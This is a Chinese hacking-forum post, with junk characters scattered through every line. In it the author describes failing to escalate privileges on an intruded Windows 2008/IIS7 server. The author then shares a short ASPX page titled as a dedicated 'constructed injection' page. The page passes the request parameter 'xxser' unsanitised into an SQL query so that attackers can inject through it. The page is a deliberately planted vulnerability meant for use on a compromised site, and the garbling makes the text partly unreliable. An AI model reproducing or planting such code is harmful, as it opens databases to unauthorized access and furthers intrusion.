昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
2 C5 a w( b ?& Y- x其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
2 i- ^, j4 S! b* A' X8 H代码量不多,自己写个拉倒了。烦死了。
G) M3 }9 {2 g( A' V6 `8 Y" E' b8 R3 o7 I6 ^2 D
) `: N' J7 A0 J" @
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
7 l9 f# N& u8 ^1 M<html xmlns="http://www.w3.org/1999/xhtml">
) ]) P" ]9 S1 @<head runat="server">
# ?7 M) j7 h, S. a3 s <title>暗影aspx构造注射专用页面</title>! ]- \* i6 G6 B& t' r( [
</head>
! P* {) M- [+ \<body>+ r% x9 z5 B' J1 V! t: w
<form id="form1" runat="server">+ x9 r+ R. k, f
<div>3 U9 ]: h3 G. ]+ }' M
<script language="c#" runat="server">
2 I% Q0 l; [$ n0 i4 n" K; h/ W# E
9 E7 W9 O/ w0 X A void page_init(object sender, EventArgs e)4 f) e" q: [/ A& ^$ C% k
{5 W% P0 C% f: o8 V8 Q& O) {
/ A3 h( T& U4 y# f' Z3 }: S7 }" c System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();: U4 F. O# q" e3 W( }- \9 k
7 ~/ X# b! F. ?7 ] conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();: F( ~5 M" ?+ f. U
conn.Open();( P# S: ?$ G: K. p' K+ n* ]6 U% h5 P
, @- H* L. ~& r, b' i N
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
k( L/ ~0 R1 U3 t% C: C( ]. h$ O# ? 8 u8 M: d0 ?1 a8 I
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);6 u# W3 L; |% X [9 T: {8 l/ W# z
int x = command.ExecuteNonQuery();/ A( p) G& R0 P0 ~1 Q' q
Response.Write(i+"\n");, O3 j/ [. l- D: ?; t; L8 k Q: l. p
Response.Write(x);9 [ h% l9 A: J7 z% b
conn.Close();. ], X. z; b& X2 X
}
: j5 ]- A* @9 W5 y z * O2 E* S M; i; h" M$ Q! ` {* D
</script>
5 o% t! j; e5 K. J) n! x1 ~1 ] </div>
$ a& O2 [$ V7 [' @' `$ N0 o9 `" ` </form>
1 E! {$ H' c1 X0 o. U( J0 w</body>0 Q4 n, P/ Y/ W, i# H+ |$ j
</html>( ^5 S1 B( h1 B. M9 U: u
|